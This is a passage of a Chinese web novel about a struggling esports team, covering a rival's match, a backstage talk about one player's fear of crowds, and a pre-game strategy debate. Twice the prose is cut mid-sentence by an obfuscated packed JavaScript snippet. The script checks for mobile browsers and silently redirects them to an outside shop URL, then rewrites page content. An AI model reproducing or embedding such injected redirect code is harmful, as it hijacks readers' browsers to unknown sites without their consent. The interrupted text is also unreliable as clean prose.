不出夜雨辰所料,小淘虽然没被四个人秒杀送出一血,但他也是以残血的状态逃跑了,如此一来,TZ的野区正面只剩余两个人状态良好,那SupS便毫不犹豫地迅速把中路线权一抢,直奔野区。 夜雨辰现在不继续看下去都能猜到TZ的这把的结果了。 这个开局防备做得太差了,思路简直菜得不成样子。最好笑的是,TZ的打野看着对面野区要被对面进了,他也不直接放了野区,而是还想试图拼一下惩戒抢回buff。 蠢,那不必死无疑了? 他暗骂道。 作为野核,应该是宁可掉一个buff也不要自己死的思路吧? 他平常打巅峰赛里最怕的就是遇到这种小脑打野了。 不出所料,TZ的打野这一个尝试争夺buff的举动直接让他把自己的命搭了进去。 现场的观众欢呼声随之响起。 听着这些声音,夜雨辰轻微皱起了眉。 好热闹。 但也好吵。 他双手抱胸倚靠在椅背上,静静地看着屏幕上各个团战的打斗,听着观众一次又一次的呐喊声。 他甚至能感觉到台下观众的激动、呐喊和为自己支持的战队的紧张情绪。 虽然有时候比较不解为什么他们要喊来喊去,但夜雨辰不得不承认,他的心底此时正有一团火,是被场上赢下的波波团战和观众激动的声音点燃的。 * SupS两把迅速地将TZ平推了。 这一大场比赛一下就结束了。 嘉辉从后台一出来,就对夜雨辰昂首挺胸道:“怎么样老夜,有没有被我们的节奏吓到?” 夜雨辰摘下一只耳机,一边看着地图上他们俩打算一起去吃的饭店,一边淡淡道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232526|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “虽然和你们战队有段时间没打训练赛了,但你们家中单的走位比较固定——” 说着,他突然脚步一顿看向嘉辉,嘴角一勾:“所以你说,如果我后天住在发育路怎么样?” “……哥,别,真别!” 嘉辉整个人顿时有点裂开,他双手合十低头道,“我要跟我偶像对线压力已经很大了,再来个你给我增加压力,我怕我带着个超鬼的战绩回家,然后就被舆论吞了。” 夜雨辰不以为意:“没事啊,有压力才有动力嘛,你怎么知道粉丝会不会鼓励你,我看你们的粉丝都挺激情的,你们拿个头他们都呼喊一次。” “啊?真的吗?”听到台下粉丝的反应,嘉辉一愣,“台上听不到这些声音的,你不知道吗?” “不知道。”夜雨辰没好气道,“我们可没多少观众。” 嘉辉顿时恍然大悟:“老夜,你找我要票而且一定想在观众席看,不会是怕明天观众太多到压力太大,所以提前来感受一下吧?” “怎么会?”夜雨辰嗤鼻一声,“你也说了,台上又听不到观众的声音,而且我们比赛也没空去看观众席,所以我怎么可能被这些身外之物影响?” 嘉辉幽幽道:“那你是不是也没听过摘下耳机后,观众为自己喜爱战队赢了的欢呼声?” “……”夜雨辰暗啧一声,“不稀罕。” “不过一提到中单……”嘉辉突然想到刚刚夜雨辰说的他们家的中单问题,不由得叹了口气,“好可惜,这个赛季没机会和小U对打了,他昨天还在和我问如果在台上和队友有争执会怎么样?” “……”夜雨辰低骂道,“傻逼邱子幸。” 小U现在和他常常聊天的话题也都是时不时在旁敲侧听一下比赛台上的状态和感受。 而且他们今天本来想叫小U出来一起聚一聚的,但是小U以有商务要跑的理由拒绝了。 他要是有比赛能打的话哪用一个职业选手去跑商务? 嘉辉小声嗫嚅道:“你们俩的中单是我遇到过的最烦的,每次都是神出鬼没,一个动不动就打我个状态,一个直接把我老底给偷完,一整把都不让我有几个安心的环境输出。” 夜雨辰轻笑一声:“怎么,你现在还怕打我们俩?” 嘉辉冷哼一声,没好气道:“但那也是巅峰赛,巅峰赛射手做孤儿太正常了,比赛上我可是有队友的人,所以现在该怕的是你。” “我还真想在比赛里轮流打爆你们俩呢,青训的时候你们俩天天把我打成负战绩的仇我都还没报!!” 夜雨辰不以为意嘉辉的挑衅:“那你明天试试?有个好消息可以告诉你,我现在在台上的状态可是时好时差的。” 提到这个词,嘉辉就不禁有些气馁:“状态啊?我明天状态应该也好不到哪去吧?” 他没好气道,“你就是狗屎运,One刚刚好在这个赛季回到JYY。他可是我的偶像,谁跟偶像对打能不紧张啊?” 夜雨辰一本正经道:“那你明天紧张的话一定要告诉我,这样方便我更好地去针对你。” “……” “滚!” 97.害怕 “没办法,临时突然有事没办法去现场看你们俩了,但也没事,我会一直关注直播间的!加油啊老夜!” 后台休息室里,夜雨辰坐在沙发上,听着电话那头传来的小U一如往常的语气,捏了捏眉心:“你怎么天天都这么忙?真不是邱子幸在给你塞活吗?” “不是不是,我都没在俱乐部见过他几次呢,他天天忙着训练,而且反正我也闲着没事干,所以帮俱乐部跑跑腿干干活也挺好的。”小U笑道,“你先不要想我了,好好专注比赛吧,我和言星奕可是期待了好久你和嘉辉对打呢,那家伙说今天宁愿晚自习迟到也要看完你们的比赛再去。” 夜雨辰瞥了一眼旁边朝他伸出手的零落,无奈地叹了口气:“好,你如果遇到什么问题一定要和我们说,先挂了,收手机了。” 说完,他便把手机上交给了零落。 今天,JYY和SupS的比赛如期而至。好消息是,两个战队都已经锁定了B/A卡位赛的名额,所以今天这把的结果对两个战队来说造成的影响并没有太大;坏消息是—— “我去我去!” 开开在这时突然闯进了休息室。 他最后再在休息室门外探了个头,确认一遍走廊外头没有其他人后,就把休息室的门一反锁,尽可能压制着自己内心的震惊,压低自己的音量和所有队员道:“我靠,我刚刚偷看了一眼外面,居然几乎都坐满了啊!座无虚席啊!上次这种场景都是大半年前了吧?!” Qian撕开一根新的棒棒糖,嗤鼻一声:“大惊小怪。” “坐满了吗?”One放下手机,惊讶道,“SupS这几周的比赛现场也没有人坐满过吧?今天居然这么多人?!” 开开没理会Qian的讥讽,没忍住开始在原地蹦跶着:“对啊!今天绝对是这几场比赛来最多观众的一次!而且你们要知道今天主场的面积刚刚好比我们之前比赛的面积都大的啊!说明观众的数量一下多了好几倍!肯定有两三百号人了!” 零落感叹道:“那还挺多人的?是因为今天是周末吗?” 开开全身上下的细胞都忍不住亢奋的劲,激动道:“而且今天好像为了JYY来到现场的人不少,虽然没有SupS的多。可能因为我们最近四连胜的表现开始吸引到别人注意了?” “而且我刚刚随便扫了眼台下,有不少人举着老One和Qian的灯牌……对!‘JYY加油’的也有,Night你和秋哥的我也看到了,虽然是连在一起的牌子!然后有我名字的牌子我也看到了!” Qian听到这句话,全身一僵;One则是不以为意,继续埋头练着补刀。 零落轻笑一声:“冷静点,还没比赛呢,你别太兴奋过会状态过火直接上头了。” 夜雨辰睨向开开:“郁秋人呢?你们不是一起去的吗?” 他记得刚刚他们俩是一起出休息室的,怎么现在只有他一个人回来? “啊?对啊,秋哥去哪了?”开开这才反应过来,刚刚和他一起去偷看外面观众席的人不见了踪影。但下一秒,他就摆摆手,无所谓道,“哎算了算了,不管他,反正比赛开始前他常常失踪,上场前他一定会准时回来,所以不用去管他。” 说着,他就有些手忙脚乱地拿起训练机,肉眼可见地他的双手在不停地颤抖着:“不行,台下好久没这么多人了,我好紧张。我要先找找手感,今天这么多人看我们比赛,我不能丢脸!我不要丢脸!” “……”夜雨辰站起身,向大门口走去,“我出去一会。” 零落看向他:“是去找郁秋吗?” 夜雨辰伸向门把的手一顿。 零落:“你不用担心他,他过会就回来了,他一般这时候去做什么都不会跟我们说的,他也跟我们说过不用去找他。” “不找他。”夜雨辰打开休息室的门,瞥了一眼开开,道,“去洗把脸冷静冷静,我也有点紧张了。” 说完,他便关上门离开了休息室。 * 郁秋会去哪? 夜雨辰双手插兜,在后台走廊自如地走着,就像一名因比赛快开始而感到紧张,所以出来散散心散散步的普通比赛选手。 他时不时地瞟一眼从自己身边路过的工作人员、又装作刚刚好要去室外呼吸新鲜空气的模样看了眼门外、在洗手间时,他又一副自己妆容和衣着的模样在镜子面前发呆了几分钟,直至洗手间空无一人后才离开…… 都没有。 这家伙现在到底会在哪? 思索了片刻,夜雨辰开始打开后台一间间休息室的门,试图在里面找到郁秋的身影,但迎接他的只有一间间黑着灯的空旷休息室。 前两周,这赛季的第一场比赛,郁秋也是像今天一样,赛前失踪,不见踪影,他那时候还觉得奇怪,可之后的几场比赛,郁秋反而又不会不打声招呼不见人影,而是会一直跟所有人一起在后台呆到上台为止。 但今天郁秋又不见了。 虽然不太确定,但夜雨辰总觉得,这其中有问题,而且他隐隐能猜到其中的内因。 最让他觉得今天郁秋不对劲的地方,是两个小时前大家从基地出发的时候。一路上,他都觉得郁秋脸上的笑容特别的——刺眼。 假得让人难受。 “嘎吱!” 又打开一扇休息室的门,一瞅到里面的景象,夜雨辰一愣。 休息室里,SupS所有人众目睽睽地看着突然闯入地夜雨辰,鸦雀无声。 嘉辉是第一个打破寂静的,诧异道:“老夜,你来我们休息室干嘛?” “……”夜雨辰默默关上门,“走错了,抱歉。” 一没注意,居然走到了对手战队的休息室。 但还没来得及把门关上,他的手突然一顿,又把门重新打开,看向面露复杂神色的嘉辉道:“嘉辉,有件事要问你。” “……”嘉辉走到休息室门外,把门关上后,对他无语道,“你现在来找我,真不怕被别人怀疑你是来打听我们过会的战术吗?” 从未想过这方面问题的夜雨辰一怔:“我下次注意。我现在只是想问问你,你了解这个比赛场地的布局吗?” “啊?”嘉辉被这个问题问得一愣一愣的,“了解吧?怎么了?” “那这里有没有那种只有后台或工作人员能进,却很少人会去的地方?” * “咚咚咚!” 几分钟后,夜雨辰在一间关着门的房间敲了敲门。 “谁?” 一听到里面发出的声音,他便直接将门推开走了进去。 郁秋看到这人就这么大摇大摆地走进来,把手上的训练机熄屏放到桌上,好笑道:“我都没说‘请进’,你怎么就进来了?” 夜雨辰关好门后,直接一屁股坐在单人沙发上,冷哼一声:“公共场所,又不是你私人的,直接进来怎么了?” 郁秋双手交叉抵着下巴,浅笑一声,没有回答。 夜雨辰环视了一遍这个比JYY战队休息室小了几倍的小休息室:“你还挺会找地方的,真够隐蔽。” 要不是嘉辉跟他说比赛场地的前门附近有几间几乎没人用的很小的休息室,他还真找不到这。 郁秋耸耸肩:“提前做的攻略而已,找我有事吗?” 夜雨辰若有所思地盯着郁秋的面颊半晌,才道:“没有。” 郁秋莞尔道:“那要不你先回去?我过会就回去。” 夜雨辰双眸微眯:“……” 见对方不为所动,郁秋笑盈盈道:“我真的很快就——” “郁秋。”夜雨辰突然开口打断了他的话,目光灼灼地看着他道,“不想笑,可以不笑。” ——好。 郁秋的笑容僵了一瞬,但下一秒,他便若无其事地自然道:“我没有。” 夜雨辰的眉头轻轻一皱,突然开口道:“来的路上,我偷偷看了眼观众席,人好多,而且不少人是支持我们的,比前几场加起来的还多。” 郁秋的手指抽搐了下:“嗯,我知道,看到了。” 夜雨辰注意到了郁秋的反应,眸光波动了一下,开门见山道:“你怕吗?” “……”沉默了半晌,郁秋轻笑一声,“怕什么?” 夜雨辰的眸色逐渐变得复杂,喃喃道:“怕自己在台上发挥不出正常的‘国服第一打野’的真正实力、怕让对自己充满期待的人千里迢迢来到这却失望的离开、怕大家盯着自己的失误点喋喋不休一点都不放过……” 他越往后说,郁秋交叉着的双手就不由得收得越紧,脸上的假笑也逐渐皲裂。 夜雨辰目光灼灼地看着对方:“郁秋,你会怕这些吗?” 郁秋眸光黯了黯,默默挪开和夜雨辰对视的眼神,没有答话。 这副默认的模样反而让夜雨辰更加肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260001|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了内心的猜测。他吞了口唾沫,缓缓道:“这种担心和害怕,不仅仅是因为你‘不喜欢被别人以第一视角看游戏操作’的原因,是吗?” “……”郁秋逐渐垂下头,沙哑道,“不是,你不用往下猜了,猜不到的,先回去吧,我不会迟到的。” 笑不起来了。 一丝假笑也没办法扬起来去应付他了。 见到郁秋如此模样,夜雨辰反而松下一口气,不由自主的露出一抹欣慰地微笑,但他的心底里也随之发出一阵不可名状的扭曲且熟悉的绞痛:“郁秋,你为什么要强撑着装作一个没事人的样子给大家看?” 他早该想到的。 郁秋前两周说过——他不喜欢观众多,压力也大。 只是太简单简短的语句,所以一下子便让人轻松忽视了。 郁秋为什么不喜欢观众多的比赛? 夜雨辰顿时就想起来,他曾在网络上为郁秋对线过别人,特别是郁秋第一次上场打比赛那会。 跟别人对线的原因是,那些人骂郁秋是菜鸡。 而那些人会这么骂郁秋的原因是,那把游戏,郁秋是沦陷的替补,他替沦陷上场了。 那是他第一次上比赛舞台,面对着数以万计的观众。 然后因为郁秋的个人因素,导致Fire的大场比赛输了。 郁秋那把确实很菜,菜到夜雨辰都不忍直视——那绝对不是一个游戏里的国服第一打野、全国第一选手会发挥出来的操作。 可是夜雨辰更不想看到一个把他压在全国第二许久的人的实力,就这么因为一场游戏被众多人轻而易举地否认,所以选择了第一次跟别人在网络上对线。 所以郁秋很大概率和大部分期待观众满席的选手不同,他——恐惧观众? 一回想起这些,夜雨辰心底里不禁升起一丝怒意,其中夹杂着对郁秋这个行为的不满:“但你为什么要一个人呆在这个几乎无人问津的地方独自消化这些情绪?你明明可以——” 说到这,他的话一滞。 可以什么? 他不知道。 他只知道,他不太想郁秋这样,这样的行为他总觉得郁秋好自私。 之前他情不好或狼狈的时候,郁秋总是会笑嘻嘻地陪在他旁边,而现在郁秋一有负面情绪,反而会佯装自己是个没事人的样子,悠悠然地挂着一如往常的笑,然后避开所有人独自找个小空间自我消化沉淀…… 想到这,夜雨辰心里又一绞,喉咙不禁有些苦涩地问道:“他们习惯你‘赛前失踪’,是因为你都在自我消化,然后装作一副没事人的样子重新出现在了他们面前吗?” “……” 郁秋垂着头,双手抵着额头,没有作声。 见对方默不作答,夜雨辰逐渐握紧双拳,沙哑道:“你在Fire的时候我不知道,但现在JYY没有邱子幸和石简益,所以你明明可以不继续这样自我消化的。” 明明也可以找他的…… 但郁秋还是没有作答。 见得不到回应,夜雨辰悻悻然地闭上了嘴,也没再继续说下去,只是双手抱胸,眉间是久久不散的怒意。 二人静静地坐在这个小空间里。 过了好几分钟,夜雨辰瞅了一眼郁秋放在桌上的训练机的时间,站起了身,看了一眼依旧一动不动维持着垂头姿势的郁秋,心中不由得又升起一股气:“比赛快开始了,我先走了,你别呆得太晚了。” 说完,他就有些生气地快步向门口走去。 还没等他跨出半步,身后突然传出一股重重的叹气声,紧接着,郁秋至于沉声地开口了:“夜雨辰。” “?” 夜雨辰脚步一顿,冷冷地转过身。下一秒,他眼前一花,面前一股冷风扫过,然后他就被紧紧地抱进了一个怀里。 “???” 夜雨辰瞪大双眸,一时没反应过来这个突如其来的拥抱,一动不动地杵在原地:“你——” “我突然发现,你有时候也挺讨厌的。” 郁秋低沉的声音贴着夜雨辰的耳边响起。 “第一次就算了,这次可是第二次了,又被你抓到了。” 越往后说,郁秋就在夜雨辰的颈窝里越埋越深,抱着对方的双手也愈发收紧,全身因用力没忍住有些发颤。 他没忍住苦笑一声:“你以为就你很在乎面子吗?别这么直白地戳穿我啊。” 98.思路 郁秋埋着头,紧紧抱着夜雨辰。 真的很讨厌。 就这么赤裸裸地把他心中的恐惧全部自然而然地道了出来。 完全不给他一丝继续藏匿下这些情绪的机会。 听着这些话,夜雨辰杵在原地一动不动,眼里满是难以置信,喃喃道:“你居然还怕丢脸?” ……? 郁秋倏地全身一顿。他眨眨眼,推开夜雨辰的双肩,一言难尽地看着他:“你是认真问出这句话的?” 夜雨辰面色古怪地点了点头道:“对啊,你居然还怕丢脸?” 天天在基地穿那么辣眼睛的睡衣,还喜欢那么丑的娃娃,特别是之前把队服设计成粉配荧光黄的颜色…… 难道这些行为不都是奔着丢脸才做的吗? “…………” 哑声了许久,郁秋无奈地叹口气,没忍住在夜雨辰脑门上弹了一下,便转身道,“我一直很怕。回去了,比赛快开始了。” 夜雨辰揉了揉自己发疼的脑壳,若有所思地看着郁秋的背影。 所以他不仅是怕观众,还怕这个失落的模样被别人指出来吗? * 选手上台前两分钟,二人才匆匆地回到了JYY的后台休息室。 开开看着这二人同时进门,诧异道:“Night你还真去找秋哥了啊?太牛逼了,你在哪找到的?我们之前都找不到他的人影的。” 零落看着这两个急急忙忙赶回来的人,没好气道:“其实你们不用这么着急回来的,可以回来得再晚一些,比赛结束后回来都来得及。” 郁秋讪讪一笑:“不好意思。” 夜雨辰瞥了一眼又挂回假笑的郁秋,淡淡道:“没找,碰巧遇到的。” Qian别有深意地瞥了一眼二人:“那可真巧。” One无奈地摇了摇头:“没事,回来就好,准备上台吧。” 在上比赛台的走廊上,众人都能隐隐约约地听到从台前传来的观众的嘈杂声和主持人的互动声。至于具体内容在讲什么,他们就听不清楚了。 不过随便想象一下外面的场景——镁光灯下众目睽睽的舞台,台下闪烁着五彩斑斓的灯光,一声声为他们欢呼的呐喊声…… 开开情不自禁地全身绷紧,开始控制不住地反复搓着自己的双手,呼吸也不由得有些急促:“下面真的好多人啊,今天真的要给我这个机会吗?万一我没发育起来是不是会出事?” Qian冷飕飕道:“那你不想要也可以,让老One少坐点牢。” 开开立马反驳道:“不行!今天MVP我必须至少拿一次!” 郁秋睨向他,不禁打趣道:“我说你志向能不能远大一点?直接拿下两个MVP不好吗?” 开开撇了撇嘴:“两个太难了,我感觉我现在的状态一把就燃尽了。” Qian嗤笑一声:“菜就多练,小屁孩。” 比开开还小一点年龄的夜雨辰反而看上去没有多紧张。 他面如常色,双手插兜,看似现在冷静地不成样子,虽然此刻他兜里的双拳都已经陷入了肉中,呼吸也特别的厚重。 他把目光落到郁秋的侧脸上——他现在的眉眼间已经完全没有一丝刚刚在小休息室里的狼狈丧气了,完全是一副镇定自若的模样。 甚至让夜雨辰有种刚刚看到的郁秋的难堪只是个错觉的恍惚。 但他知道,郁秋现在的淡定什么的全是装的! “喂,夜雨辰。” 刚刚回来的路上,郁秋突然开口问他道,“你说,为什么会有观众来现场看电竞比赛?” 夜雨辰双手插兜,摇了摇头:“不知道。” 有些人可能是闲着无聊或抱着好奇心来瞅一眼的,但回忆起前天在SupS现场看比赛的感受……大部分观众应该还是带着期待来的吧? 不过无论有多少观众在台下观看,都不会影响到他想在职业台上夺冠的心。 “应该是支持自己喜欢的选手或战队吧?”郁秋垂眸,自问自答道,“他们挤出自己的空闲时间,花费自己攒了许久时间的金钱,用尽自己所有的方法和人脉去争夺那些被炒到本不该值那个价钱的门票,只为了兴致勃勃、满怀期待地去看自己喜爱支持的选手。” 他的眸光黯了黯:“所以一开始的期望越高,结果的失望就会越大,骂声也会随之变大。” 大多数观众是不会给予他宽容的。 因为他们是消费者,本身也不是为他而来,而且他们花费了宝贵的时间,花费了来之不易的金钱,却收获了糟糕的结果。 说着,郁秋脸上的阴郁倏地一下收敛,重新挂回了一副心态平和的微笑,从容道:“所以夜雨辰,我只跟你承认,也只会承认这一次——我怕自己在台上发挥不出正常的‘国服第一打野’的真正实力,是因为我曾经替补的对象是联盟第一打野,那时所有人都听说过我在游戏里的创下的壮举,对我充满了不小的期待,但有些人对我是抱着审视的目光,因为他们得看我配不配得上做沦陷的替补;而我自己也怕让那些对比赛充满期待的人千里迢迢来到这却失望的离开;何况我本身也对有人盯着我的操作失误喋喋不休有阴影……” 郁秋笑盈盈地在自己唇边比了根食指:“所以这些,帮我保密。” “……”夜雨辰有些怔怔地看着郁秋,“但我记得,你心态好的?” 以前在网络上的时候,他看别人骂郁秋,郁秋还视若无睹,夜雨辰还羡慕得不行。 “我心态好?”郁秋挑挑眉,“哪有人天生心态好的,不都是习惯到麻木,然后慢慢练出来的吗?” 说着,他小声嘀咕道:“我才没有你想象得那么完美。” 所以请你先彻底了解我,再喜欢我。 * JYY众人一踏上比赛台,观众席上震耳欲聋的欢呼声顿时响起,夜雨辰全身上下的细胞似乎也被这些声音唤醒了。 各种尖叫欢呼鼓舞声里夹杂着场上十个选手的名字,忽大忽小,其中,‘林元’、‘Qian’和‘One’的名字是最大声的。 听着这些这些各式各样的声音,他的表情不禁变得有些不自然,心率也不由得跟着加快。 一坐上电竞桌,他就迅速戴好了耳麦,顿时长松了口气。 世界终于安静了。 下一秒,耳边就响起开开的惊叹声:“吓死我了,好大的阵仗,上一次看到台下这种情况还是一年前刚开始打比赛的时候……不行了,我现在手上全是手汗。” 零落也对这阵仗有些震惊:“以前打SupS都没这么多观众的,今天到底什么情况?” 开开猜测道:“按照我冲浪的经验来看,如果除去SupS本身的粉丝来看,现在的观众应该有那些质疑JYY的连胜是内幕的、有对JYY现在表现充满十足好奇心的、也有很感动曾经的冠军战队JYY终于回归的……所以综合来猜,我们这边的观众应该都是对我们今天能不能继续稳定连胜,拿下SupS充满了期待?” 期待? 夜雨辰全身一顿,不由自主地看了一眼郁秋。 “……”郁秋淡淡点了点头,“嗯。” Qian没有作声,眸光黯黯波动着。 One两眼放光,有些兴奋地摩拳擦掌道:“不行不行,我的手感燃起来来了!教练我要大展身手!让我来c!我要操作!” “不行!你能不能有点素质!”开开立马大声抗议道,“说好的这把我来c呢?我先来,你不准插队!!” 听着耳边队友的争吵,夜雨辰抬头,目光穿过刺眼的镁光灯,投向黑暗里闪烁着各种灯光的观众席。他现在完全无法听到台下观众的呐喊鼓舞声,但他看得到他们手中挥舞的荧光棒和霓虹灯牌或海报,上面印着不同的选手的名字和文字,各式各样,特别是靠着自己赛台这边的观众席,上面牌子写的几乎都是JYY的选手,他也看得一清二楚—— “射手之王,One马当先!”、“Qian(保姆版):队友你们不要冲了啦!”、“开门永存!”、“期待秋夜亲一个的第n天!(牵手照)”…… ? 夜雨辰瞳孔震惊,有些慌乱地低下头,脑子瞬间一片空白。 他眼花了? 刚刚看到什么东西了?? 怎么还有人会拉着这样的海报横幅?不是这是谁制作的啊?! 郁秋注意到夜雨辰的反应,疑惑道:“你怎么了?” 夜雨辰有些羞耻地低声怒骂道:“你没看他们下面第一排拉着什么海报吗?他们究竟哪来的啊?” 郁秋更加疑惑了:“什么海报?” 但也没看一眼台下。 “你不知道吗?秋哥眼神不好,所以在台上从不看观众席的,反正看也看不清,不过——”开开明显也看到了那个牌子,看着坐在自己身边的这二人,幸灾乐祸地起哄道,“要不顺了他们的意先亲一个吧,下面这样的横幅我都看到好几个了呢,其实长这么大我还没见过两个大男人吃嘴子呢。” 郁秋看向夜雨辰的眼神顿时变得微妙了起来,嘴角也不由得微微勾起。 夜雨辰低骂道:“过会你自求多福吧,不帮你开节奏了。” Qian反倒是因为开开的话勾起了一些不好的回忆,脸色黑了黑,冷声道:“那是你的见识少了。” “哈哈。” One似是也想起来了什么,有些尴尬地笑着。 零落在旁干咳两声提醒大家游戏已经进入了对局:“好了,打闹归打闹,开开你这把到底要不要试一次打核?” 因为这把比赛是B组的最后一把常规赛,主要是为了决出B组的第一名和第二名,但其实对于这两个已经锁定了卡位赛名额的战队来说,这个名次对他们战队来说不太重要。 “要要要要!”开开立马迫不及待道,“虽然我现在手很抖,但是让我打一次!我一定要争一次MVP!!” 说着,他直接ban掉了他们先前在休息室商量好的比较克制他们阵容的鲁大。 双方边bp完,Qian优先锁定了t0辅助少司缘,低声笑道:“放心,有我在,你拿不到MVP的。” 紧接着,SupS一选英雄,在对面沉寂了半分钟没动静后,倏地一下秒锁了镜加火舞的双刺客阵容。One见状,不禁有些欲哭无泪:“不是吧?上来就锁这么猛的冲脸吗?还要不要我活了?” 要知道,他们现在打算选定的阵容是准备围绕着开开做文章的,所以身为射手位置的One,这把的待遇大概率是独自在发育路上抗压做孤儿,没人保护。 Qian看着对面的双刺客阵容,沉声道:“保重!” 郁秋和夜雨辰根据零落的布局分别选了蓝领打野大司命和中单海月。 第二轮bp,SupS不出意料地ban掉了两个保命能力比较强的射手,一看就是为了针对One,不想让他在这把游戏里好过。 One眼睁睁地看着想选的射手一个个被对面送上了天,最后只能被迫选一个勉强能和对面公孙离对线打成五五开的狄仁杰,他再最后看了眼对面锁定的五个冲脸英雄,大声哭嚎道:“张凌开!我这把要是超鬼了我要和你拼命!” SupS这阵容一选出来,他这把简直就是地狱级待遇啊! 开开幽幽地瞥开视线,有些心虚道:“没事,你开哥今天大显身手带你飞好吧!” 两边阵容都敲下后,在讨论开局布局时,夜雨辰听着郁秋提出的正常思路布局以及零落给出的建议,再看了一眼抬下的观众席。 思索了半晌半晌,他眸中突然闪过一抹下定决心的光,吞了口沫,缓缓道:“要不咱们试一次打这种阵容进野区?” 所有人顿时一愣,众目睽睽地看向他。 夜雨辰在脑子里重新过了一遍自己的思路,沉声道:“我们这个阵容理论上是可以去拼一拼的,而且我们前几次打的时候从没在比赛上试过这个打法。” 说着,他下意识地睨了一眼郁秋:“所以我觉得今天我们的机会刚刚好可以尝试一次对局内充满更大不确定性的刺激感受。” 实不相瞒,这种打法虽然他在巅峰赛里打过不少次,但是比赛台上,他还是第一次想打出这个容错率很低的节奏。 他能感受到,他现在的心率已经直奔130了。 夜雨辰舔舐了下自己的嘴唇:“当然,发育节奏还是主要围着开开打,但是我觉得我们可以试一次快节奏结束比赛,就当作为以后打A甚至S组比赛的心态做做铺垫。” “这个提议不是不行,不过……”零落紧蹙着眉,仔细分析着两边的阵容, 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“嗯。”夜雨辰点点头,眸光深邃地看着他,“进野区的节奏一般不都是打野指挥吗?通常来说,你现在应该有一套进野思路了,所以国服野王,你怎么想?” 其实他提出这个想法还有一个方面的私心——他真的不喜欢郁秋在比赛台上有这么保守的打法。 郁秋在平常的打野思路,明明很激进,很大胆;但在比赛上,却开始收敛了这个打法。 不知道是不是因为刚刚他说的观众的问题,反正今天好不容易比赛台上有这种机会,他想和郁秋一起来尝试打出一次排位赛打出过的配合。 郁秋不经意地瞥了眼自己有些发抖的拇指,十分平静道:“有点风险,镜的惩戒斩杀线太高了,我拼惩大概率拼不过,所以还是稳妥点打吧?” 夜雨辰眸色沉了沉,开始阐述自己的思路:“一级中路我们有线权,Qian直接进蓝去骚扰林元,然后郁秋你帮我抢线,线权肯定抢得过对面的。对面肯定想不到我们居然敢进野区,毕竟这是我们新的一个战术而且风险也大,所以他们警惕心可能会比较低,进野郁秋你只顾着抢buff就行,压林元的状态和位置全权交给我,对面中辅把线过完的间隙我们已经能做到赶走林元了。” 他深吸一口气,沉声又坚定道:“所以郁秋,你愿不愿意相信我?我会给你创造出一个林元无法和你拼惩的机会的。” Qian点点头,同意夜雨辰的这个想法:“可以,随便打。” 开开小声嘟囔道:“好吧,我看你们都挺想打的,那我勉强也能打吧,反正被骂了我要推Qian出去背过哈。” 郁秋沉默了,没有作答,眼里满是犹豫之色。 夜雨辰继续把自己构思好的思路讲述了出来:“火舞抢线没我们快,而且对面边路前期是夏洛特,强度和支援能力都没开开的马超高,所以开开大概率有机会来打支援收割,至于射手……我相信One哥的狄仁杰细节肯定拿捏得过嘉辉的公孙离,所以理论上,二级团我们是可以在对面蓝区打一次五零人数差的。” 郁秋紧皱着眉头:“理论上行得通,但是容错太低了,火舞的支援速度很快,留给我们的时间很少,而且火舞配合苏烈的控制太多了,我们能拆火的英雄并不多……” “郁秋。” 夜雨辰突然打断了他的话,“要不你把这把当成是巅峰赛打吧?你明明也很想在赛场上这么打这种战术的。” 他不信平常打单子打巅峰赛和排位赛天天爱进别人野区的郁秋,一到比赛台上就变成一个只想安分守己,老老实实的刷着自家的小野的人。 所以他现在这么犹豫、不敢这么去打这个思路,很大可能是他以前想在台上这么尝试,但是失败了,所以不敢再试一次。 郁秋吞了口唾沫,没有作答。 夜雨辰沉声道:“或是你把这把当作两年前,对面的火舞是我,这把游戏是我的全国第一晋级赛,我还从未上过这个游戏的全国第一的时候。” 把这把游戏的对局当成是两年前想搭讪他的时候。 郁秋不禁好笑道:“你可没他这么菜。” One小心翼翼地插嘴道:“那个?现在毕竟是比赛嘛,其实郁秋多一些担忧顾虑也很正常,我们这把也不是不打野区就打不了了,所以实在不行也不用一定要进……” 夜雨辰不管One的话,继续对郁秋道:“然后你是野王‘No.1秋’,霸榜着全国第一的位置不允许别人超过,并在我的直播间蹲守着我的匹配时间,想和我撞车,然后排到了我的对面——” 开开听得云里雾里的,一头雾水:“你俩突然在打什么哑谜?” 说着,夜雨辰不禁咬牙道:“巅峰赛进去,你想着快步杀死比赛,所以把对面的野区当你自己一个人的来看,自信的来去自如,并每杀一个人,就忍不住回城嘲讽一次对面的中单。” 零落领悟过来了什么,无语扶额道:“你们两个真是……过会别真回城嘲讽对手,不然过会吃罚牌了。” 夜雨辰目光灼灼地看着郁秋:“你就当成这种对局,今天再这么打一次,不计后果的放开打一次,在比赛台上肆意挥霍着自己的想法可以吗?” 反正如果不考虑观众的话,这把输赢对战队的结果来说其实并不重要不是吗? 这两人…… Qian似乎隐隐察觉到了什么,脸色逐渐变得黑了。 还没等郁秋回答这把的决断,这时,所有人的耳机传来一道冰冷的声音:“比赛即将开始,请教练离开比赛台,其他选手都做好准备。” 零落意味深长地看了眼郁秋,拍了拍他的肩:“反正无论结果如何,尽力而为就好。” “10!” “9!” …… 手机的比赛开始倒计时,所有人的目光都不由自主地放到了郁秋身上。 大家其实都对这个打法跃跃欲试。 “6!” “5!” …… 夜雨辰有些紧张道:“所以队长,你怎么说?” “2!” 